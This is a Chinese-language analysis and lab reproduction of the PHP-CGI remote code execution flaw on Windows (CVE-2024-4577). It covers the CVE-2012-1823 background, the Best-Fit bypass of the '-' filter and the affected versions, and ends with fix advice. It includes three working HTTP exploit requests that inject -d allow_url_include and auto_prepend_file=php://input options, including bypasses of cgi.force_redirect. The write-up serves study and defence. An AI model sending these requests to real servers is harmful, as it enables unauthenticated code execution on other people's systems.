漏洞描述
PHP 在设计时忽略 Windows 中对字符转换的Best-Fit 特性,当PHP运行在Window平台且使用了如下语系(简体中文936/繁体中文950/日文932等)时,攻击者可构造恶意请求绕过CVE-2012-1823 保护,从而可在无需登陆的情况下执行任意PHP代码。
PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)是2024-06-07披露的漏洞,阿里云漏洞库评分给到9.5
漏洞背景
1.CVE-2012-1823
CVE-2012-1823是CVE-2024-4577的前身,CVE-2024-4577就是在CVE-2012-1823的修复上进行绕过而诞生的。对CVE-2012-1823进行分析有利于我们理解CVE-2024-4577。
-
CVE-2012-1823的影响范围:
php < 5.3.12 php < 5.4.2
-
PHP-CGI
PHP-CGI(Common Gateway interface 通用网关接口)是一种通过CGI协议运行PHP脚本的方式。它起到一个类似消息转发的作用,将Web 服务器收到的数据转发给PHP解释器执行,将PHP解释器执行的结果发送给Web 服务器。
PHP-CGI 提供两种交互模式:
-
CGI模式:
这最初始交互方式,Web服务器每次收到请求时,都会请求一个PHP-CGI进程,处理完请求,将结果返回给Web服务器,最后关闭PHP-CGI进程
-
FastCGI模式:
CGI方式的改进版,FastCGI可以常驻后台运行,并通过FastCGI协议接受请求,返回执行结果,不会自己退出进程。
虽然PHP-CGI提供了对运行环境的更多控制,但性能和扩展性不如现代的PHP-FPM(FastCGI Process Manager)。PHP-FPM如今更常用,因为它效率更高,适合高并发环境。
假设服务器启用了PHP-CGI处理请求,并接收到如下的HTTP请求:
http://example.com/index.php?foo=bar
那么该请求就会被解析为PHP-CGI命令执行:
php-cgi.exe index.php foo=bar
-
-
漏洞成因
从官方的补丁进行分析,修复如下:
从官方补丁中可以看到,主要的修改就是对字符“-”进行的过滤,绕过字符串中开头为“-”,且字符串中不包含“=”,那么就判定skip_getopt = 1,即跳过该请求的处理。
我们还需结合PHP-CGI进行分析,为什么“-”会导致PHP-CGI远程代码执行漏洞。
PHP-CGI是一个可执行文件,通常在php的安装目录下与php一起.
用cmd打开该文件夹输入
php-cgi.exe -h
$php-cgi.exe -h Usage: php-cgi [-q] [-h] [-s] [-v] [-i] [-f <file>] php-cgi <file> [args...] -a Run interactively -b <address:port>|<port> Bind Path for external FASTCGI Server mode // 以交互模式运行。 -C Do not chdir to the script directory // 为外部FASTCGI服务器模式绑定路径。 -c <path>|<file> Look for php.ini file in this directory // 在指定目录或文件中查找 php.ini 配置文件。 -n No php.ini file will be used // 不使用任何 php.ini 文件。 -d foo[=bar] Define INI entry foo with value 'bar' // 定义INI条目 foo 并设置其值为 'bar'。 -e Generate extended information for debugger/profiler// 为调试器/分析器生成扩展信息。 -f <file> Parse <file>. Implies '-q' // 解析指定的 <file>。隐含 -q 选项。 -h This help // 显示帮助信息。 -i PHP information // 显示PHP信息。 -l Syntax check only (lint) // 仅进行语法检查(lint)。 -m Show compiled in modules // 显示编译进PHP的模块。 -q Quiet-mode. Suppress HTTP Header output. // 静默模式。抑制HTTP头输出。 -s Display colour syntax highlighted source. // 显示带有颜色语法高亮的源代码。 -v Version number // 显示版本号。 -w Display source with stripped comments and whitespace.//显示剥离了注释和空白的源代码。 -z <file> Load Zend extension <file>. // 加载Zend扩展 <file>。 -T <count> Measure execution time of script repeated <count>times.//测量脚本重复 <count> 次的执行时间。
由此可知,"-d"可以在运行时修改配置,那就可以通过修改配置文件的
allow_url_include
、auto_prepend_file
配置来达到远程命令执行的目的。假如开启了 PHP-CGI功能,可以构造以下请求执行任意代码:
POST /index.php?-d+allow_url_include=on+-d+auto_prepend_file=php://input HTTP/1.1 Host: host Content-Type: application/x-www-form-urlencoded Content-Length: 19 <?php phpinfo(); ?>
调用PHP-CGI后相当于:
php-cgi index.php -d allow_url_include=1 -d auto_prepend_file=php://input
allow_url_include=1
允许php通过url包含文件。auto_prepend_file=php://input
指定了包含的文件,而=php://input是一个特殊的流,他会接受POST请求中的数据(如:<?php phpinfo();?>
),表示php脚本会先执行POST请求中的数据,最终导致远程代码执行。简单来说,这个漏洞发生在 PHP-CGI 解析 HTTP 请求的 query string(URL 中的查询参数部分) 时。如果 query string 中包含了 PHP-CGI 的配置指令,这些指令可能会被错误地解释和执行。这通常是因为 PHP-CGI 在处理 CGI 参数时没有正确地进行过滤或转义。
2.字符编码的Best Fit特性
在Windows系统上,字符编码的Best Fit特性是指操作系统处理字符映射的一种行为。由于不同地区的语言需求,Windows实现的一种字符编码的Best Fit机制,用于不同字符集之间的最佳匹配。
具体操作为,当一种字符在当前字符集是不存在时,那么系统就会匹配与该字符最接近的字符进行替代。
漏洞分析
1.影响范围
PHP Windows版 8.3.0 <= 影响版本 < 8.3.8
PHP Windows版 8.2.0 <= 影响版本 < 8.2.20
PHP Windows版 8.1.0 <= 影响版本 < 8.1.29
PHP Windows版 影响版本 == 8.0.x
PHP Windows版 影响版本 == 7.x
PHP Windows版 影响版本 == 5.x
XAMPP Windows版 8.2.0 <= 影响版本 <= 8.2.12
XAMPP Windows版 8.1.0 <= 影响版本 <= 8.1.25
XAMPP Windows版 影响版本 == 8.0.x
XAMPP Windows版 影响版本 == 7.x
XAMPP Windows版 影响版本 == 5.x
2.漏洞条件
-
Window服务器使用以下字节编码
- 繁体中文 (字码页 950)
- 简体中文 (字码页 936)
- 日文 (字码页 932)
使用
chcp
命令查看当前活动代码页$chcp 活动代码页: 936
CVE-2012-1823的补丁中可以看到对
-
符号做了过滤,但是忽略了Windows平台的字符编码转换的Best Fit特性,如简体中文 (字码页 936)):... 0x00a7 0xa1ec ;�� 0x00a8 0xa1a7 ;�� 0x00aa 0x0061 ;a 0x00ad 0x002d ;- 0x00af 0xa1a5 ;�� 0x00b0 0xa1e3 ;�� 0x00b1 0xa1c0 ;�� ...
在上面中我们可以看到,如果我们发送的是十六进制字符
0xad
,那这个字符就会转换为-
,而CVE-2012-1823的补丁中只是简单的对字符的ASCII码进行比较,忽略了Windows平台的字符编码转换的Best Fit特性,导致CVE-2012-1823的补丁被绕过,因而产生了CVE-2024-4577。在CVE-2024-4577的补丁中我们也可以看到官方对此情况的修复:
我们可以看到,官方在简单过滤
-
的基础上,还对0x80以上的字符进行了限制,避免因Windows平台的字符编码转换的Best Fit特性导致远程代码执行。 -
使用PHP-CGI解析请求
有以下两种情景:
- 以CGI模式运行的PHP环境
- 将PHP的执行程序暴露在外 - XAMPP默认配置
漏洞复现
接下来将对使用PHP-CGI解析请求的两种情景进行复现
1.以CGI模式运行的PHP环境
这是一个很少见的场景,在2024年已经很难找到以一个以CGI模式运行的PHP环境
如果要使用CGI模式运行的PHP,那么我们需要修改配置,开启此功能
复现环境
windows 10 简体中文(字码页 936)
XAMPP 8.2.12 / PHP 8.2.12
安装XAMPP
XAMPP搭建环境比较简单,这里我是用XAMPP 8.2.12 / PHP 8.2.12版本,你也可以选择其他版本进行复现。
安装并运行XAMPP
启用CGI解析请求
打开apache的httpd-xampp.conf配置文件
找到以下内容取消注释,即可使用GI模式运行的PHP:
#<FilesMatch "\.php$">
# SetHandler application/x-httpd-php-cgi
#</FilesMatch>
#<IfModule actions_module>
# Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
#</IfModule>
如下图所示:
点击apache的start启动web服务
由Windows平台的字符编码转换的Best Fit特性可知,传入的%ad
,会被转换为-
,后面的内容会被当做PHP-CGI 的配置指令。
EXP1:
POST /test.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.217.139
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
<?php phpinfo();?>
使用burp发送请求,
%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input
会被PHP-CGI解析成以下内容:
-d allow_url_include=on -d auto_prepend_file=php://input
allow_url_include=1
允许php通过url包含文件。
auto_prepend_file=php://input
指定了包含的文件,而=php://input是一个特殊的流,他会接受POST请求中的数据(如:<?php phpinfo();?>
),表示php脚本会先执行POST请求中的数据,最终导致远程代码执行。
2.将PHP-CGi暴露在外
将PHP的执行程序直接暴露在web目录里,这是一个很特殊的场景,但是恰好Xampp有一个默认配置可以达到这个效果
我们可以在xampp的http-xampp.conf文件中可以看到:
ScriptAlias /php-cgi/ "C:/www/php/"
<Directory "C:/www/php">
AllowOverride None
Options None
Require all denied
<Files "php-cgi.exe">
Require all granted
</Files>
</Directory>
这段配置是将url/php-cgi/
映射到C:/www/php/
中,并限制只能访问C:/www/php/
中的php-cgi.exe
。
当我们直接访问/php-cgi/php-cgi.exe
时,发现会报错
那是因为php配置中添加了一个新的配置项cgi.force_redirect,这是php的一个自我保护机制,该设定的默认值为cgi.force_redirect=1,表示只有经过重定向的请求才可以执行,不能够由请求直接执行。
php配置文件如下图所示:
如果我们要绕过该保护机制,我们需要从源码进行分析,PHP-CGI源码如下:
从源码中我们可以看出,我们需要绕过该php自我保护机制由两种方法。
一种是令cgi.force_redirect=0
,这是最直接的方法。
我们前面已经实现的了利用-d
对php的配置项进行修改,既然cgi.force_redirect也是php的一个配置项,那么我们不就可以利用-d
,直接设置cgi.force_redirect=0
EXP2:
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3d0+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.217.139
Connection: close
Content-Length: 20
<?php phpinfo();?>
%add+cgi.force_redirect%3d0+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input
解析成:
-d cgi.force_redirect=0 -d allow_url_include=on -d auto_prepend_file=php://input
另一种是设置REDIRECT-STATUS请求头。
我们回到源码中,可以看到除了force_redirect分支,如果可以确定REDIRECT_STATUS
或HTTP_REDIRECT_STATUS
有值,也可以跳出force_redirect分支。
通常来说REDIRECT_STATUS
和HTTP_REDIRECT_STATUS
是由web设置的,但是我们可以通过burp等抓包软件对http请求头添加。
EXP3:
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.217.139
Connection: close
Content-Length: 20
REDIRECT-STATUS: 1
<?php phpinfo();?>
由于Xampp的这个默认配置,导致运行在简体中文、繁体中文和日语的window平台下的XAMPP服务基本全军覆没。
修复建议
- 官方已经发布了新版本8.3.8、8.2.20、8.1.29
- 对于XAMPP Windows的用户,在确认业务不使用PHP-CGI的前提下,修改http-xampp.conf的配置,注释如下内容:
#ScriptAlias /php-cgi/ "C:/www/php/"